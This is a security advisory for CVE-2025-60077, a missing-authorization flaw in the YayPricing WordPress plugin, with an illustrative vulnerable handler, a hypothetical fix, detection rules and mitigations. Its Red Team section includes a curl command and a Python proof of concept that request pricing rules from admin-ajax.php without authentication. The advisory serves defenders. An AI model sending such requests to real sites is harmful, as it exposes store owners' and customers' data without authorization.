CVE-2025-60077

Executive Summary

CVE-2025-60077 is a critical Missing Authorization vulnerability in the YayCommerce YayPricing WordPress plugin, affecting versions up to and including 3.5.3. This flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs), potentially leading to unauthorized data exposure or privilege escalation. The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-862 (Missing Authorization). As of this report, no official patch has been released, and the vendor's status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant due to the lack of authentication requirements.

Supply Chain & Package Security

This vulnerability affects the YayPricing WordPress plugin, which is distributed through the WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a supply chain risk, as compromised instances could lead to data breaches or further attacks. No known malicious packages have been identified, but the unpatched status increases the attack surface.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for any WordPress site using the affected plugin.

Deep Dive & Mechanics

The YayPricing plugin provides dynamic pricing and discount functionality for WooCommerce stores. The vulnerability lies in the plugin's REST API endpoints or AJAX handlers that fail to properly verify user permissions before executing sensitive operations. Specifically, the plugin does not enforce capability checks (e.g., manage_options or edit_posts) on certain administrative actions, allowing unauthenticated attackers to trigger functions such as:

• Retrieving pricing rules and configurations
• Modifying discount settings
• Accessing customer data or order information

The flaw is rooted in the plugin's use of wp_ajax_* and wp_ajax_nopriv_* hooks without proper nonce verification or capability checks. Attackers can craft HTTP requests to these endpoints to bypass ACLs.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A hypothetical fix would involve adding capability checks and nonce verification.

Vulnerable Code (Example from YayPricing <= 3.5.3):

add_action('wp_ajax_yaypricing_get_rules', 'yaypricing_get_rules');
add_action('wp_ajax_nopriv_yaypricing_get_rules', 'yaypricing_get_rules');

function yaypricing_get_rules() {
    // No capability check or nonce verification
    $rules = get_option('yaypricing_rules');
    wp_send_json_success($rules);
}

Patched Code (Hypothetical):

add_action('wp_ajax_yaypricing_get_rules', 'yaypricing_get_rules');
// Remove nopriv hook to restrict to authenticated users

function yaypricing_get_rules() {
    // Verify nonce
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'yaypricing_nonce')) {
        wp_die('Security check failed');
    }
    // Check capability
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $rules = get_option('yaypricing_rules');
    wp_send_json_success($rules);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with YayPricing plugin version <= 3.5.3
• Network access to the target

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=yaypricing_get_rules).
2. Send a crafted HTTP request without authentication:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=yaypricing_get_rules"
   

3. The server responds with sensitive data (e.g., pricing rules, customer info).

Proof of Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "yaypricing_get_rules"}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action parameters starting with yaypricing_.
• Alert on requests from unauthenticated users to these endpoints.

Hunting:

• Search web server logs for patterns like POST /wp-admin/admin-ajax.php HTTP/1.1 with action=yaypricing_ and no Cookie header.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=yaypricing_* parameters
  • Absence of Cookie header in such requests
• File:
  • Modified or unexpected entries in the wp_options table (e.g., yaypricing_rules)
• Log:
  • Web server logs showing 200 responses to unauthenticated AJAX requests

Detection Engineering

YARA Rule

rule CVE_2025_60077_YayPricing_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-60077 in YayPricing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60077"
    strings:
        $ajax_action = "action=yaypricing_" ascii wide nocase
        $admin_ajax = "/wp-admin/admin-ajax.php" ascii wide nocase
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2025-60077 YayPricing Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to YayPricing AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=yaypricing_"
        cs-uri-stem|endswith: "/wp-admin/admin-ajax.php"
    condition: selection
falsepositives:
    - Legitimate admin actions (requires authentication)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60077 YayPricing Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=yaypricing_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released: Deactivate and remove YayPricing from all WordPress installations.
2. Implement Web Application Firewall (WAF) rules to block unauthenticated requests to /wp-admin/admin-ajax.php with action=yaypricing_* parameters.
3. Restrict access to /wp-admin/ directory using IP whitelisting or .htaccess authentication.

Long-term Fix:

• Monitor the YayCommerce website or WordPress plugin repository for an official patch.
• Apply the patch immediately when released.
• Consider replacing the plugin with an alternative that follows secure coding practices.

Workaround:

• Add custom code to the theme's functions.php to enforce capability checks:

  add_action('init', function() {
      if (isset($_POST['action']) && strpos($_POST['action'], 'yaypricing_') === 0) {
          if (!current_user_can('manage_options')) {
              wp_die('Unauthorized');
          }
      }
  });
  

Valters IT
Securing Digital Frontiers